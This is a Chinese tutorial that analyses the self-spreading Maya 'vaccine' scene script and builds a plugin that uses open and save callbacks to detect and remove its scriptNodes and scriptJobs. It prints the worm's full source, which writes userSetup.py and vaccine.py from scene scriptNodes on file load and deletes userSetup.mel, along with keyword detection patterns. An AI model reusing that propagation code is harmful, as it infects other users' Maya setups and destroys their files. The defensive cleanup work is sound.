今天介绍如何通过使用Maya 的 Api 2.0 中的 MSceneMessage 添加打开文件后与保存文件前的 Callback 来检查和处理不明 ScriptNode 和 ScriptJob, 以大将军的贼健康脚本为例子,首先申明以下,大将军的初衷是好的,就是有些许地方没有做好,导致全球受到了感染,先祭出大将军的免责说明: 然后我们来分析一下,这两个文件都做了些什么? 首先是生成的 userSetup.py import sys import maya.cmds as cmds maya_path = cmds.internalVar(userAppDir=True) + '/scripts' if maya_path not in sys.path: sys.path.append(maya_path) import vaccine cmds.evalDeferred('leukocyte = vaccine.phage()') cmds.evalDeferred('leukocyte.occupation()') 这个就是简单的把当前路径加到 Maya 的 Python 环境中,然后等待 Maya 启动完成之后执行以下 leukocyte = vaccine.phage() 和 leukocyte.occupation(),不过这里顺便说一下,既然文件已经存在 script 文件夹下面了,为啥还要加到环境中呢? 我们接下来看一下 vaccine.py, 到底做了那些事情。 # coding=utf-8 # @Time : 2020/07/05 15:46 # @Author : 顶天立地智慧大将军 # @File : vaccine.py # 仅作为公司内部使用保护 一旦泄露出去造成的影响 本人概不负责 import maya.cmds as cmds import os import shutil class phage: @staticmethod def backup(path): folder_path = path.rsplit('/', 1)[0] file_name = path.rsplit('/', 1)[-1].rsplit('.', 1)[0] backup_folder = folder_path + '/history' new_file = backup_folder + '/' + file_name + '_backup.ma ' if not os.path.exists(backup_folder): os.makedirs(backup_folder) shutil.copyfile(path, new_file) def antivirus(self): health = True self.clone_gene() self.antivirus_virus_base() virus_gene = ['sysytenasdasdfsadfsdaf_dsfsdfaasd', 'PuTianTongQing', 'daxunhuan'] all_script_jobs = cmds.scriptJob(listJobs=True) for each_job in all_script_jobs: for each_gene in virus_gene: if each_gene in each_job: health = False job_num = int(each_job.split(':', 1)[0]) cmds.scriptJob(kill=job_num, force=True) all_script = cmds.ls(type='script') if all_script: for each_script in all_script: commecnt = cmds.getAttr(each_script + '.before') for each_gene in virus_gene: if commecnt: if each_gene in commecnt: try: cmds.delete(each_script) except: name_space = each_script.rsplit(':',1)[0] cmds.error(u'{}被感染了,但是我没法删除'.format(name_space)) if not health: file_path = cmds.file(query=True, sceneName=True) self.backup(file_path) cmds.file(save=True) cmds.error(u'你的文件被感染了,但是我贴心的为您杀毒并且备份了~不用谢~') else: cmds.warning(u'你的文件贼健康~我就说一声没有别的意思') @staticmethod def antivirus_virus_base(): virus_base = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.mel' if os.path.exists(virus_base): try: os.remove(virus_base) except: cmds.error(u'杀毒失败') def clone_gene(self): vaccine_path = cmds.internalVar(userAppDir=True) + '/scripts/vaccine.py' if not cmds.objExists('vaccine_gene'): if os.path.exists(vaccine_path): gene = list() with open(vaccine_path, "r") as f: for line in f.readlines(): gene.append(line) cmds.scriptNode(st=1, bs="petri_dish_path = cmds.internalVar(userAppDir=True) + 'scripts/userSetup.py'\npetri_dish_gene = ['import sys\\r\\n', 'import maya.cmds as cmds\\r\\n', \"maya_path = cmds.internalVar(userAppDir=True) + '/scripts'\\r\\n\", 'if maya_path not in sys.path:\\r\\n', ' sys.path.append(maya_path)\\r\\n', 'import vaccine\\r\\n', \"cmds.evalDeferred('leukocyte = vaccine.phage()')\\r\\n\", \"cmds.evalDeferred('leukocyte.occupation()')\"]\nwith open(petri_dish_path, \"w\") as f:\n\tf.writelines(petri_dish_gene)", n='vaccine_gene', stp='python') cmds.addAttr('vaccine_gene', ln="notes", sn="nts", dt="string") cmds.setAttr('vaccine_gene.notes', gene, type='string') if not cmds.objExists('breed_gene'): cmds.scriptNode(st=1, bs="import os\nvaccine_path = cmds.internalVar(userAppDir=True) + '/scripts/vaccine.py'\nif not os.path.exists(vaccine_path):\n\tif cmds.objExists('vaccine_gene'):\n\t\tgene = eval(cmds.getAttr('vaccine_gene.notes'))\n\t\twith open(vaccine_path, \"w\") as f:\n\t\t\tf.writelines(gene)", n='breed_gene', stp='python') def occupation(self): cmds.scriptJob(event=["SceneSaved", "leukocyte.antivirus()"], protected=True) backup 对文件进行了备份。 antivirus 对 普天同庆 进行了查杀,所以初衷是挺好的,不过在查杀的过程中,应该是为了方便公司内部的同事无感查杀,使用 clone_gene 自动创建了两个 ScriptNode, 这样可以查杀当前电脑打开的所有文件,并且也让文件产生了感染性。 antivirus_virus_base 就过于粗暴的删除了 userSetup.mel, 也就是这个可能会造成某些同学的 Maya 不正常,有可能是因为其他插件也对其做了修改,直接粗暴的干掉,会有可能产生不可知影响。 occupation 也就是在 userSetup.py 中调用的命令,既创建了一个 scriptJob, 在每次文件保存的时候执行了一次对普天同庆病毒的查杀,也就是在这个时候输出了一个 "贼健康" 这样的中文提醒。 那问题来了,如果我们想要清理这些节点改这么办呢? 清理 Script Node 我们先清理一下产生 userSetup.py 和 vaccine.py 的 scriptNode。 1.0 先找到所有的 scriptNode, script_nodes = cmds.ls(type='script') 这个列出所有的 scriptNode, 不过 Maya 有时候也会自带一下,或者是其他正常插件也会带一下 scriptNode。 1.1, 过滤出可疑节点 这时候就需要过滤一下这些 scriptNode, 在这,我是通过判断是否存在 "internalVar" 或者 "userSetup" 这两个关键字去判断,大几率如果莫名其妙的节点去搜索这个,基本也就是有点不对劲了,当然这不是完全严谨的说法,在这就先用这作为条件去判断, bad_script_nodes =[] script_nodes = cmds.ls(type='script') for script_node in script_nodes: script_before_string = cmds.getAttr('{}.before'.format(script_node)) script_after_string = cmds.getAttr('{}.after'.format(script_node)) for script_string in[script_before_string, script_after_string]: if not script_string: continue if 'internalVar' in script_string or'userSetup'in script_string: bad_script_nodes.append(script_node) 这样就把相对可疑的节点都列出来的,然后我们再进行删除,为啥不直接删除,之后会说明。 2, 删除可疑节点,删除就很简单了 for bad_script_node in bad_script_nodes: cmds.lockNode(bad_script_node, l=False) cmds.delete(bad_script_node) 就是循环判断解锁,然后删除即可,当然,在这加了一个解锁的过程,防止创建的时候进行了锁定,当然这个案例中没有创建之后做锁定,不过谁知道之后会不会有呢。 3, 组合起来就是 import maya.cmds as cmds def find_bad_scripts(): bad_script_nodes = [] script_nodes = cmds.ls(type='script') for script_node in script_nodes: if cmds.referenceQuery(script_node, isNodeReferenced=True): continue script_before_string = cmds.getAttr('{}.before'.format(script_node)) script_after_string = cmds.getAttr('{}.after'.format(script_node)) for script_string in [script_before_string, script_after_string]: if not script_string: continue if 'internalVar' in script_string or 'userSetup' in script_string: bad_script_nodes.append(script_node) return bad_script_nodes def del_bad_scripts(bad_script_nodes): for bad_script_node in bad_script_nodes: cmds.lockNode(bad_script_node, l=False) cmds.delete(bad_script_node) def clear_bad_scripts(): bad_script_nodes = find_bad_scripts() if not bad_script_nodes: return reply = cmds.confirmDialog( title='Found these suspicious nodes!', message='Delete these Script nodes:\n {}'.format('\n '.join(bad_script_nodes)), button=['Yes', 'No'], defaultButton='Yes', cancelButton='No', dismissString='No') if reply == 'Yes': del_bad_scripts(bad_script_nodes) 在最后完成的版本中,我加了一个confirmDialog去提示,询问使用中是否要删除, 起到告知并提醒的功能。 然后还在搜索可疑节点的过程中,加了一个是否是 reference 文件的判断,因为 reference 的节点无法被直接删除,那就只能先行跳过。功能都分离成等单独函数的好处就是,之后如果需要执行递归清理所有文件的时候,也方便组合。 清理 Script Job 清理 scriptJob 还是一样的过程,先找出可疑 scriptJob, 然后进行清理。 1.0, 找到所有的 scriptJob script_jobs = cmds.scriptJob(listJobs=True) 1.1,找到可疑 scriptJob bad_script_jobs = [] bad_jod_scripts = ['leukocyte.antivirus()'] script_jobs = cmds.scriptJob(listJobs=True) for script_job in script_jobs: for bad_jod_script in bad_jod_scripts: if bad_jod_script in script_job: bad_script_jobs.append(script_job) 通过人眼定位! 发现的既是这个就是会创建 scriptNode 和会抛出 “贼健康” 的 scriptJob, 那我们通过什么方式过滤出来呢?在这可疑考虑使用 "SceneSaved" 或者 "leukocyte.antivirus()" 去过滤 bad_script_jobs = [] bad_jod_scripts = ['leukocyte.antivirus()'] script_jobs = cmds.scriptJob(listJobs=True) for script_job in script_jobs: for bad_jod_script in bad_jod_scripts: if bad_jod_script in script_job: bad_script_jobs.append(script_job) 我是选择使用黑名单的方式去做了清理,感觉直接听过 "SceneSaved" 有可能会不小心干掉什么奇怪的东西,当然,这个大家可以按自己的需求来做决定。 2, 这个删除就比较麻烦了 # Now kill it (need to use -force flag since it's protected) cmds.scriptJob( kill=jobNum, force=True) 官方帮助例子中,传进去的是 jobNum, 这是个数字,既是创建 scriptJob 时的 id, 既是 62: protected=True, event=['SceneSaved', 'leukocyte.antivirus()'] 中的 62, 而不是在 cmds.scriptJob(listJobs=True) 的序号,那就需要把这个数字提取出来,在这我是使用正则的方式去提取的, import re job_index_regex = = re.compile(r'^(\d+):') for bad_script_job in bad_script_jobs: bad_script_job_index = int(job_index_regex.findall(bad_script_job)[0]) cmds.scriptJob(kill=bad_script_job_index, force=True) 3,最后组合 import re import maya.cmds as cmds JOB_INDEX_REGEX = re.compile(r'^(\d+):') def find_bad_script_jobs(bad_jod_scripts=BAD_JOD_SCRIPTS): bad_script_jobs = [] script_jobs = cmds.scriptJob(listJobs=True) for script_job in script_jobs: for bad_jod_script in bad_jod_scripts: if bad_jod_script in script_job: bad_script_jobs.append(script_job) return bad_script_jobs def del_bad_script_jobs(bad_script_jobs): for bad_script_job in bad_script_jobs: bad_script_job_index = int(JOB_INDEX_REGEX.findall(bad_script_job)[0]) cmds.scriptJob(kill=bad_script_job_index, force=True) def clear_bad_script_jobs(): bad_script_jobs = find_bad_script_jobs() if not bad_script_jobs: return reply = cmds.confirmDialog( title='Found these suspicious jobs!', message='Delete these Script jobs:\n {}'.format('\n '.join(bad_script_jobs)), button=['Yes', 'No'], defaultButton='Yes', cancelButton='No', dismissString='No') if reply == 'Yes': del_bad_script_jobs(bad_script_jobs) 同样的,加了一个confirmDialog去提示,询问使用中是否要删除, 起到告知并提醒的功能。 加上文件打开后和文件保存前 CallBack 我们已经在当前文件中清理了 scriptNode 和 scriptJob, 那怎么才能在每次打开和每次保存的时候自动清理呢? 由于创建的 scriptNode 是通过cmds.scriptNode 生成的,并且在 bs 这个参数上传递了数值,通过帮助可得知 The script executed during file load. 在文件加载期间执行的脚本,也就说文件加载完就会创建vaccine.py 和 userSetup.py, 那我们只要在文件打开之后,scriptNode 还没开始执行的时候把它清理掉就可,没等你干活就干掉你。 只需通过 import maya.api.OpenMaya as omapi omapi.MSceneMessage.addCallback(omapi.MSceneMessage.kAfterOpen, clear_bad_scripts) 这样就会在每次文件打开后,scriptNode 还没开始执行之前把可疑的 scriptNode 清理掉了。 接着继续,之前靠人眼 Debug 可得知抛出 "贼健康" 的提醒的 scriptJob 是在文件保存前执行的,那同样的,我们也加个保存前执行的 Callback: import maya.api.OpenMaya as omapi omapi.MSceneMessage.addCallback(omapi.MSceneMessage.kBeforeSave, clear_bad_script_jobs) 这样就可以在文件打开之后和文件保存之前加上相关的清理了 制作成插件挂载的方式 好了,大部分的功能都做好了,可是我们怎么让每次 Maya 打开之后都自动添加 Callback 呢?不能再写一个带有感染性的脚本吧?其实只要通过挂载 Maya Python 脚本插件的方式就可以很好的解决这个问题了。 Maya Python 插件脚本的实现比较简单,主要就是 def initializePlugin(mobject): pass def uninitializePlugin(mobject): pass 在 Maya 的插件管理窗口勾选挂载插件就执行 initializePlugin, 卸载插件就执行 uninitializePlugin. 那我们就只要实现这两个方法即可: #!/usr/bin/env python # -*- coding: utf-8 -*- import callback import maya.api.OpenMaya as omapi def maya_useNewAPI(): """ The presence of this function tells Maya that the plugin produces, and expects to be passed, objects created using the Maya Python API 2.0. """ pass def after_open_callback(*args): callback.clear_bad_scripts() def before_save_callback(*args): callback.clear_bad_script_jobs() def remove_scene_callback(): if callback.AFTER_OPEN_CALLBACK_ID: omapi.MSceneMessage.removeCallback(callback.AFTER_OPEN_CALLBACK_ID) callback.AFTER_OPEN_CALLBACK_ID = None if callback.BEFORE_SAVE_CALLBACK_ID: omapi.MSceneMessage.removeCallback(callback.BEFORE_SAVE_CALLBACK_ID) callback.BEFORE_SAVE_CALLBACK_ID = None def add_scene_callback(): remove_scene_callback() callback.AFTER_OPEN_CALLBACK_ID = omapi.MSceneMessage.addCallback( omapi.MSceneMessage.kAfterOpen, after_open_callback ) callback.BEFORE_SAVE_CALLBACK_ID = omapi.MSceneMessage.addCallback( omapi.MSceneMessage.kBeforeSave, before_save_callback ) def initializePlugin(mobject): plugin = omapi.MFnPlugin(mobject, 'scene_callback', '1.0', 'panyu') add_scene_callback() def uninitializePlugin(mobject): plugin = omapi.MFnPlugin(mobject) remove_scene_callback() 把之前的编写的脚本内容存成 callback.py ,然后调用,并定义一个 after_open_callback 和 before_save_callback 函数,留出之后添加内容的入口,然后定义 remove_scene_callback 和 add_scene_callback, 添加和移除 Callback,然后在 initializePlugin 和 uninitializePlugin 中分别调用即可。 callback.py 完整内容: #!/usr/bin/env python # -*- coding: utf-8 -*- import re import maya.cmds as cmds JOB_INDEX_REGEX = re.compile(r'^(\d+):') BAD_JOD_SCRIPTS = ['leukocyte.antivirus()'] AFTER_OPEN_CALLBACK_ID = None BEFORE_SAVE_CALLBACK_ID = None def find_bad_scripts(): bad_script_nodes = [] script_nodes = cmds.ls(type='script') for script_node in script_nodes: if cmds.referenceQuery(script_node, isNodeReferenced=True): continue script_before_string = cmds.getAttr('{}.before'.format(script_node)) script_after_string = cmds.getAttr('{}.after'.format(script_node)) for script_string in [script_before_string, script_after_string]: if not script_string: continue if 'internalVar' in script_string or 'userSetup' in script_string: bad_script_nodes.append(script_node) return bad_script_nodes def del_bad_scripts(bad_script_nodes): for bad_script_node in bad_script_nodes: cmds.lockNode(bad_script_node, l=False) cmds.delete(bad_script_node) def clear_bad_scripts(): bad_script_nodes = find_bad_scripts() if not bad_script_nodes: return reply = cmds.confirmDialog( title='Found these suspicious nodes!', message='Delete these Script nodes:\n {}'.format('\n '.join(bad_script_nodes)), button=['Yes', 'No'], defaultButton='Yes', cancelButton='No', dismissString='No') if reply == 'Yes': del_bad_scripts(bad_script_nodes) def find_bad_script_jobs(bad_jod_scripts=BAD_JOD_SCRIPTS): bad_script_jobs = [] script_jobs = cmds.scriptJob(listJobs=True) for script_job in script_jobs: for bad_jod_script in bad_jod_scripts: if bad_jod_script in script_job: bad_script_jobs.append(script_job) return bad_script_jobs def del_bad_script_jobs(bad_script_jobs): for bad_script_job in bad_script_jobs: bad_script_job_index = int(JOB_INDEX_REGEX.findall(bad_script_job)[0]) cmds.scriptJob(kill=bad_script_job_index, force=True) def clear_bad_script_jobs(): bad_script_jobs = find_bad_script_jobs() if not bad_script_jobs: return reply = cmds.confirmDialog( title='Found these suspicious jobs!', message='Delete these Script jobs:\n {}'.format('\n '.join(bad_script_jobs)), button=['Yes', 'No'], defaultButton='Yes', cancelButton='No', dismissString='No') if reply == 'Yes': del_bad_script_jobs(bad_script_jobs) 白嫖链接,太长不看 最后给上白嫖链接:https://github.com/cundesi/maya_utils 下载之后只需把 modules 文件夹复制到 %Homepath% \Documents\maya 即可 然后打开 Maya 挂载即可 |
大家都知道静态网页有利于SEO,但是很多新手在使用DZ论坛程序的时候不懂,很多人在问DZ
牛逼牛逼,之前的论坛应该见我发过,未来是即时渲染的天下,并且U-render 最有潜力很
所有版本官方配置单请点击链接:https://knowledge.autodesk.com/z ... -Autodesk-May
https://www.acfun.cn/player/ac11550103
Autodesk最近发布了3D模型动画软件Maya 2020.2和Maya LT 2020.2新功能的在线文档,两
https://player.bilibili.com/player.html?aid=74213651cid=127467367page=1